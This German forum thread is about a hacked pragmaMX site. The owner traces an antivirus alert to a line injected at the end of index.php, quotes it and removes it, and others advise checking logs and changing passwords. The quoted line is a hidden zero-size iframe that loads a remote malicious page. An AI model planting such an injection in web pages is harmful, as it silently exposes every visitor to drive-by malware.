trojanisches Programm

[Gast]

Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername und Passwort

[adorno]

Hi,

nachdem ich das neue pragmaMX installiert habe erscheint bei meinem antiviren Programm, nur wenn ich mich auf diese eine Seite einwähle (meine Seite www.weniger.cc):

gefunden: trojanisches Programm Packed.JS.Agent.a   
URL: http://xs.activeprotect.cn/lex/index.php

Ich benutze Kaspersky Firewall+Antivirus
Bei meinen Bekannten erscheint die gleiche meldung. Mittlerweile hab blockiere ich diese Verbindung

Beim landen der Seite sieht man auch in der Fortschrittleiste, dass ein Verbindungsaufbau zu dieser Seite versucht wird.

Kennt jemand dieses Problem.

gruß
adorno

[Andi]

Moin

das deutet auf einen Serverhack hin.
Vermutlich hat irgendein Schadprogramm einige Dateien verändert.

Rufe mal im Adminmenü die Versionsüberwachung auf und schau ob dort geänderte Dateien gelistet sind.

[adorno]

hi Andi,

danke du hattest recht dort stand, dass die index.php editiert wurde, also habe ich da reingeschaut. Dort stand am ende folgendes:

Code: [Select]  

<? echo '<iframe src="http://92.62.100.57/stds/go.php?sid=1" width="0" height="0"
frameborder="0"></iframe>'; ?>

habe diese Zeile jetzt gelöscht.

danke
adorno

[GerhardSt]

Hi adorno,

du solltest aber trotzdem noch schauen, wodurch diese Änderung möglich war (Serverlog) und diese Lücke schliessen.
Weiters empfehle ich dir Datenbank und FTP-Passwörter zu ändern.

Gruß Gerhard